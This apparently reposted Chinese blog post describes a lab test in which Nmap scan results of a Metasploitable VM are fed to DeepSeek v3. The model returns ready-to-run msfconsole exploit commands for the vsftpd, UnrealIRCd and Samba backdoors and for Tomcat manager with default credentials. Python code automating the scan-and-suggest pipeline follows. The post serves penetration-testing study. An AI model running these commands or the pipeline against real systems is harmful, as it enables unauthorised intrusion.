渗透测试一直是安全领域里比较挑战的工作,对人的经验,能力要求都比较高,目前属于严重供不应求的局面。
大模型是具备对工具的理解和应用能力,能否用大模型辅助渗透测试,之前有一些论文在讨论。今天搞个例子试试,让大模型根据扫描结果生成攻击脚本。
两台虚拟机,一台安装Kali,作测试机,一台安装Metasploitable Linux,作靶机,两台机器能够互通。
在测试机上用Namp扫描靶机,扫描的结果送给Deepseek,让Deepseek识别漏洞,并生成利用脚本。
Prompt:
"""分析以下Nmap扫描结果,并提供:
1. 可能存在的漏洞
2. 推荐使用的Metasploit模块(包括完整路径)
3. 必要的参数设置
4. 利用的成功概率评估
扫描结果:
{scan_results}
请以JSON格式返回,格式如下:
{{
"exploits": [
{{
"type": "exploit/auxiliary",
"path": "完整msf模块路径",
"port": port_number,
"params": {{"参数名": "参数值"}},
"probability": "成功概率评估",
"description": "漏洞描述"
"msfconsolecommand":"可以在命令行直接执行的msfconsole命令,格式为 msfconsole -x ...."
}}
]
}}
严格按照上述JSON格式返回,不要包含任何其他文字说明。也不需要```json符号,以便解析。
"""
Deepseek给的结果
{
"exploits": [
{
"type": "exploit",
"path": "exploit/unix/ftp/vsftpd_234_backdoor",
"port": 21,
"params": {"RHOSTS": "192.168.3.72"},
"probability": "high",
"description": "vsftpd 2.3.4 backdoor vulnerability",
"msfconsolecommand": "msfconsole -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.3.72; run'"
},
{
"type": "exploit",
"path": "exploit/multi/http/tomcat_mgr_deploy",
"port": 8180,
"params": {"RHOSTS": "192.168.3.72", "RPORT": 8180, "HttpUsername": "tomcat", "HttpPassword": "tomcat"},
"probability": "medium",
"description": "Apache Tomcat Manager Application Deployer Authenticated Code Execution",
"msfconsolecommand": "msfconsole -x 'use exploit/multi/http/tomcat_mgr_deploy; set RHOSTS 192.168.3.72; set RPORT 8180; set HttpUsername tomcat; set HttpPassword tomcat; run'"
},
{
"type": "exploit",
"path": "exploit/unix/irc/unreal_ircd_3281_backdoor",
"port": 6667,
"params": {"RHOSTS": "192.168.3.72"},
"probability": "high",
"description": "UnrealIRCD 3.2.8.1 Backdoor Command Execution",
"msfconsolecommand": "msfconsole -x 'use exploit/unix/irc/unreal_ircd_3281_backdoor; set RHOSTS 192.168.3.72; run'"
},
{
"type": "exploit",
"path": "exploit/multi/samba/usermap_script",
"port": 445,
"params": {"RHOSTS": "192.168.3.72"},
"probability": "high",
"description": "Samba 'username map script' Command Execution",
"msfconsolecommand": "msfconsole -x 'use exploit/multi/samba/usermap_script; set RHOSTS 192.168.3.72; run'"
}
]
}
是这样的,五个漏洞的完整利用方法,可写自动化方案,也可以用命令行msfconsolecommand的内容,实测有效。
录屏
Deepseek(v3)具备非常好的辅助渗透测试的能力,能够生成完整正确的漏洞分析结果及基于msfconsole的使用方法,有潜力可以继续挖掘。
本次测试为非常简单的场景,未用到规划能力。
附代码,阿里云和deepseek官网的api都可用,直接用v3模型即可。
import nmap
import json
#from pymetasploit3.msfrpc import MsfRpcClient
import subprocess
import time
import argparse
import sys
from openai import OpenAI # deepseek也用openai接口
class AutoExploiter:
# 预定义prompt模板
ANALYSIS_PROMPT_TEMPLATE = """分析以下Nmap扫描结果,并提供:
1. 可能存在的漏洞
2. 推荐使用的Metasploit模块(包括完整路径)
3. 必要的参数设置
4. 利用的成功概率评估
扫描结果:
{scan_results}
请以JSON格式返回,格式如下:
{{
"exploits": [
{{
"type": "exploit/auxiliary",
"path": "完整msf模块路径",
"port": port_number,
"params": {{"参数名": "参数值"}},
"probability": "成功概率评估",
"description": "漏洞描述"
"msfconsolecommand":"可以在命令行直接执行的msfconsole命令,格式为 msfconsole -x ...."
}}
]
}}
严格按照上述JSON格式返回,不要包含任何其他文字说明。也不需要```json符号,以便解析。
"""
def __init__(self, target_ip, lhost):
self.target_ip = target_ip
self.lhost = lhost
self.scan_results = None
self.msf_client = None
self.deepseek_client = OpenAI(api_key='XXX',base_url="...") # 使用OpenAI客户端
def analyze_with_gpt(self):
"""使用GPT分析扫描结果"""
try:
# 格式化扫描结果
formatted_results = json.dumps(self.scan_results, indent=2)
# 使用预定义的prompt模板,填入扫描结果
prompt = self.ANALYSIS_PROMPT_TEMPLATE.format(
scan_results=formatted_results
)
# 调用OpenAI API
response = self.deepseek_client.chat.completions.create(
model="deepseek-v3", # 阿里云用的是模型名称,deepseek官网用的是deepseek-chat
messages=[
{"role": "system", "content": "You are a cybersecurity expert specialized in vulnerability analysis and exploitation."},
{"role": "user", "content": prompt}
],
temperature=0
)
print(response.choices[0].message.content)
# 解析响应
try:
analysis = json.loads(response.choices[0].message.content)
print("n[+] GPT分析完成")
return analysis.get('exploits', [])
except json.JSONDecodeError:
print("[-] 无法解析GPT的响应")
print("响应内容:", response.choices[0].message.content)
return []
except Exception as e:
print(f"[-] GPT分析失败: {str(e)}")
return []
def scan_target(self):
"""使用Nmap扫描目标"""
try:
print(f"[*] 开始扫描目标 {self.target_ip}...")
nm = nmap.PortScanner()
#nm.scan(self.target_ip, arguments='-sV -sC -O -p- --script vuln')
nm.scan(self.target_ip, arguments='-sV ')
self.scan_results = nm[self.target_ip]
print("[+] 扫描完成")
print(self.scan_results)
return self.analyze_with_gpt() # 改为调用GPT分析
except Exception as e:
print(f"[-] 扫描失败: {str(e)}")
return None
# main()函数中的修改
def main():
parser = argparse.ArgumentParser(description='自动化漏洞扫描与利用工具')
parser.add_argument('-t', '--target', required=True, help='目标IP地址')
parser.add_argument('-l', '--lhost', required=True, help='本地IP地址(用于接收反弹shell)')
args = parser.parse_args()
exploiter = AutoExploiter(args.target, args.lhost)
try:
# 扫描目标并使用GPT分析结果
print('scan beginning')
exploits = exploiter.scan_target()
if not exploits:
print("[-] 未发现可利用的漏洞")
return
print("n[+] GPT分析发现以下可能的漏洞利用方法:")
for i, exploit in enumerate(exploits):
print(f"{i+1}. {exploit['path']}")
print(f" 描述: {exploit['description']}")
print(f" 端口: {exploit['port']}")
print(f" 成功率: {exploit['probability']}")
print(f" msf命令: {exploit['msfconsolecommand']}")
print()
# 让用户选择要使用的漏洞利用
finally:
print('finish')
if __name__ == "__main__":
main()
关联:
下载
https://github.com/GreyDGL/PentestGPT
原文始发于微信公众号(AI与安全):Deepseek辅助渗透测试,半自动
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论